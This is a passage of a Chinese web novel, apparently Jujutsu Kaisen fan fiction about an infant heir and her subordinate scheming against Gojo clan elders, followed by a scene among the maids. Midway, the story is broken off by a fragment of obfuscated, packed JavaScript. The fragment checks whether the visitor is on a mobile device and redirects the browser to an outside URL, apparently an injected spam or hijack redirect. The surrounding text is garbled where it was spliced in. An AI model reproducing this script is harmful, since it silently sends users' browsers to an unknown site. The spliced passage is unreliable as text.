“我不会离开的,我要留下来帮您。”五条纱奈抹掉泪珠坚定地回答。 “雅兰再好也不如我,她不知道您的身份,关键时刻没法配合您行动,而且要是被其他人发现了您会有危险,不仅如此,我还能充当联络站传递情报或帮忙挑选盟友策反。” “家主一日未除,您的上位之路就一日不顺畅!” 【哈哈哈,行呀纱奈。】五条清菡被逗得拍着小手咯咯笑,别提有多愉快了,【很有志气嘛。】 可刚夸奖完她又调转话头:【但你依旧要去上大学哦。】 【嗯,最好还是东大。】 “……哎?东、东大?”那个日本的最高学府?不是吧?真的假的?让她上吗? 五条纱奈回指着自己难以置信地反问,整个人直接傻掉了。 【是啊,努力考上经济学部吧,等你学成归来我就让你管理五条家的家族资产。】五条清菡笑眯眯地捏紧小拳头为对方加油鼓劲,【我可不放心把家族产业交给别人管理。】 【当然啦,也不用给自己太大压力,我说了东大只是第一目标,如果你认为难度超高做不到也可以退而求其次。】 她拍拍满脸呆滞的、脑子短路暂无法响应的亲密下属,苦口婆心、语重心长地跟人讲道理。 【我是为你好嘛,一直留守在五条家帮我的忙固然不错,不过那样子跟其他被困于家族、目光短浅的人有何区别?】 【纱奈,你要多学习,多出去走走,增长更多的见识,再结交更多好的朋友,如此你才会放宽眼界,彻底脱离家族的束缚,变成一个真正成熟稳重、遇事不会惊慌的大人。】 【我相信你哦!】 五条清菡闭上半只眼睛朝她竖起一根大拇指,对其充满信心地笑着鼓励。 【Go Go Cheer up!】 “……好吧,既然这是您的期望,属下自会拼尽一切为您达成。” 最终五条纱奈还是妥协地败下阵来,紧绷的身子逐渐放松,叹息一声苦笑着答应,然而那双美丽的眼睛所流露出的神色却不像勉强,反而闪闪发亮,溢满璀璨的星光。 【哎呀,假如你想学的话,我还能教你汉语和意大利语哦!保证发音正宗!】 “感谢您的美意,清菡大人……但还是先请您等我学明白日语再说吧。” *** 日常嬉笑打闹完,确立了新的人生目标的五条纱奈此刻是激情满满,摆正脸色认真询问对方的下一步计划。 “打败了竞争对手的翔太郎长老目前风头正盛,如日中天,其余长老必然会看不惯他,我想,咱们或许可以暗中推动发展,将第二个准备下手的目标定为五条翔太郎,不知大人您意下如何呢?” 【我没意见啊。】打了声哈欠的女孩懒洋洋地晃动着胖乎乎的脚丫子,悠然悠哉。 “您有具体方案吗?需不需要我先去联系文也君让他待命?”五条纱奈抬头看一眼昏暗的天色,估摸着时间差不多了便紧抱孩子起身回屋,准备进厨房给人冲泡奶粉。 【不着急,这件事会有好心人帮我们做的。】太久没进食,五条清菡摸着扁扁的小肚子,感觉都能听见咕噜响了。 “好心人?谁呀?”把女儿放回客厅的摇篮床,五条纱奈撸起两边衣袖打开柜子拿出一盒奶粉,又转头打开消毒柜取出消毒好的奶瓶再烧热水。 她仔细思考,试探性地说出自己的猜测:“莫非是家主?” 【自然。】五条清菡嘟哝着吐泡泡,胡乱扭动着小屁股试图调整一个舒服的睡姿,【好不容易才打破了平衡夺回应有的权利,所以明知有分裂家族的危险却依然要坚持。】 【人类这种生物……从某种程度上来讲实在是无药可救啊。】 【我估计五条家主这次会大力表彰五条翔太郎,引发其余人不满的同时暗中拉拢允诺好处。】她哼哼唧唧地翻了个身软绵绵地趴着。 【这套拉一派打一派的权术不管过了多少年都始终有效呢,老祖宗的智慧真是不容小觑。】 【可以哦,就让我们帮忙添一把火吧。】 五条纱奈略微抿着唇,有点迟疑:“……应该不是所有人都想针对他吧?总会有那么一两位长老只想守着自己的一亩三分地不愿惹是生非的。” “面对这种野心不强的人,教唆或者煽风点火怕是起不到什么作用,毕竟只要他们平时做事不出错,家主没理由处罚,也就不会动摇他们的地位,那又何必自找麻烦呢?” 【倘若五条翔太郎没有触犯底线的话确实是。】 “触犯底线?”少女一脸迷茫,拿着已经晾凉的奶瓶走入客厅,重新把人翻回来喂奶。 柔软的小手抓着奶瓶饿急了地使劲嘬奶,五条清菡嘀嘀咕咕地耐心解释。 【对哦,认真想一想嘛纱奈,为什么这次针对五条岩的计划能够成功呢?答案其实非常简单哦——】 五条纱奈犹豫了一会:“……是诅咒师?” 【Bingo!】白白胖胖的小短手艰难地打了个没有声音的响指,她眉眼弯弯地笑嘻嘻道,【因为五条翔太郎知道对方是经常联系诅咒师交易的。】 【而他之所以会知道并肯定这件事,则是由于他自己、包括大家,私底下都在偷偷做。】 ——这是属于整个五条家高层心照不宣、约定俗成的共同秘密。 【但是现在有人破坏协议,将那些暗地里压根见不得光的邪恶交易给粗暴地丢在了太阳底下暴晒,并且利用它顺利搞掉了死对头。】 【那么你说……他们会不会担心五条翔太郎下一次利用这个秘密针对算计的目标是自己呢?】 “于是为求自保,原本仅想苟且偷安的人在威胁面前也会奋起反抗,联合起来对付敌人。”听到这里,五条纱奈恍然大悟地接过后半段分析。 【哎呀,纱奈你真聪明。】五条清菡笑吟吟地鼓了鼓掌,毫不吝啬地给予夸赞,接着继续往下讲。 【五条家主与我们的目的暂且保持一致,因此这一回我们能相对轻松些,不会再跟之前从零开始那般费劲麻烦。】 【纱奈,在五条家主派人去说服别的长老提前动手的时候,我会让文也鼓动五条翔太郎犯错,你则和雅兰她们持续收买底层人心,尤其是……最接近家主的那群侍从。】 女孩弯起一双月牙眸,语气轻快。 【我相信你不会让我失望的。】 “是。”五条纱奈跪坐着,两手交叠放在大腿上,极其恭敬地低下脑袋领命,“定不会让您失望。” ***** 同一时刻,在五条家的最东边,侍女集体居住的通房。 某间干燥封闭的房子里隐隐传出“哒哒”的声响。 伴随着略吵闹的动静,捣药的短木杵一下接一下地捣碎石臼里的药草,捣完又微施巧劲细细研磨。 恰巧此时有一阵温柔的轻风拂过,一股淡淡的草药香飘散开来,闻之令人心生舒畅。 正在捣药的是一位穿着侍女和服的身材娇小的靓丽少女,似乎不足十五岁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665789|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她沉默地坐在靠墙壁的角落,远远避开人群,专心致志地干着自己的事。 屋子的另一边是刚收拾完茶室回来休息的同伴。 她们有说有笑地围成一个圈,叽叽喳喳地分享听到的八卦,时不时露出羞涩的笑,若是有外面的人看了肯定会忍不住感慨青春。 “呐,你们听说了吗?源君背叛家族意图谋害神子被处死了,告密者居然还是纱奈!” “真的吗?!天哪,她怎么敢的呀?”骤然听闻这个消息,立即有人惊讶地瞪大眼睛捂嘴,实在不敢相信曾经跟她们一样身处最底层的纱奈竟然有反抗丈夫的勇气。 “她是不清楚失去源君后,自己和女儿会过得有多凄惨吗?” 另外一人撇了撇嘴,阴阳怪气地翻白眼:“哪里可怜啦?她靠着出卖夫君获得家族许多奖赏,即使没了源君也不用回到这里,不知有多潇洒呢。” “告诉你们,就算有很多钱,不必再干苦力活,没有丈夫的爱,她仍然是一个失败透顶的女人,一辈子都不圆满。” 对方这番话讲出来,有人对此表示赞同,也有人不赞同地暗中嘟囔,却不敢公然否定,生怕成为下一位被集火的对象,遭受欺压霸凌。 然而即便如此,仍旧有人勇敢地开口了。 “但是……我觉得纱奈姐很厉害呀。” 说话的是先前躲在角落独自捣鼓草药的看似绵软懦弱的少女。 注意到大家集中过来的视线,她下意识地缩了缩脖子才小小声地继续说道:“你们不这样认为吗?” “纱奈姐不仅敢为了家族赌上自己的后半辈子举报反叛者,还敢在家主和诸位长老前流畅发言大胆指证源君,一点都不害怕怯场,难道不厉害么?换作是我就做不到。” “娜娜!”没想到她会反驳,距离她最近的一位侍女连忙叫停她,“快别说啦,姐姐是在提醒我们,没有恶意的,你怎么能辜负她的良苦用心?” “……”五条娜娜抿了抿嘴,仿佛有不同的想法,不过看见朋友焦急地朝自己使眼色,最终还是吞掉了反对之言顺从地道歉,“对不起,是我说错话了。” “哦,没关系。”方才善意教导她们的侍女带领身后的追随者慢走几步来到她身前,勾着嘴角,居高临下地俯视对方,缓缓露出假笑,“作为你们的前辈,我有义务教会后辈生存的道理。” 朋友发觉气氛不对就赶紧跑过去把五条娜娜挡在背后,讨饶般地说着好话企图为她求情:“姐姐你也知道娜娜向来不会讲话是根呆木头,你大人有大量何必跟块木头斤斤计较呢?不如就放过她这一次吧?” 她懒得搭理人,冷冷哼声:“让开!” 朋友不肯让,来者却又气势汹汹,现场的氛围逐渐变得凝滞沉重,压抑不已。 正当五条娜娜不想连累闺蜜准备主动站出来接受惩罚的时候,房间的大门被人推开了。 “你们在干什么?”负责管理这片区域的总管皱着眉头左右打量互相对峙的两方人马,“工作剩一大堆没干呢,还有空吵架?活腻了是吧?” 不敢顶嘴,原先聚集的一窝人立刻作鸟兽散。 朋友瞬间松了口气,暗自庆幸。 真是太好啦,没打起来,不然那么多人光是挠花她们的脸都要断完全部指甲,得不偿失。 可惜没等她彻底放松身体,就瞧见总管向自己这边走来,拉开了她直面闺蜜。 “娜娜,你的运气来了。”从未对她们有过好脸色的直属领导此刻竟笑眯眯的,和蔼可亲地拍了拍少女肩膀。 “你整天捣鼓那几根草终于有了回报,家主很满意你泡的茶,打算调你过去近身伺候,记得表现乖巧一点,千万不要再说错话惹恼高层。” “能够服侍家主,可是你三生修来的福分啊。”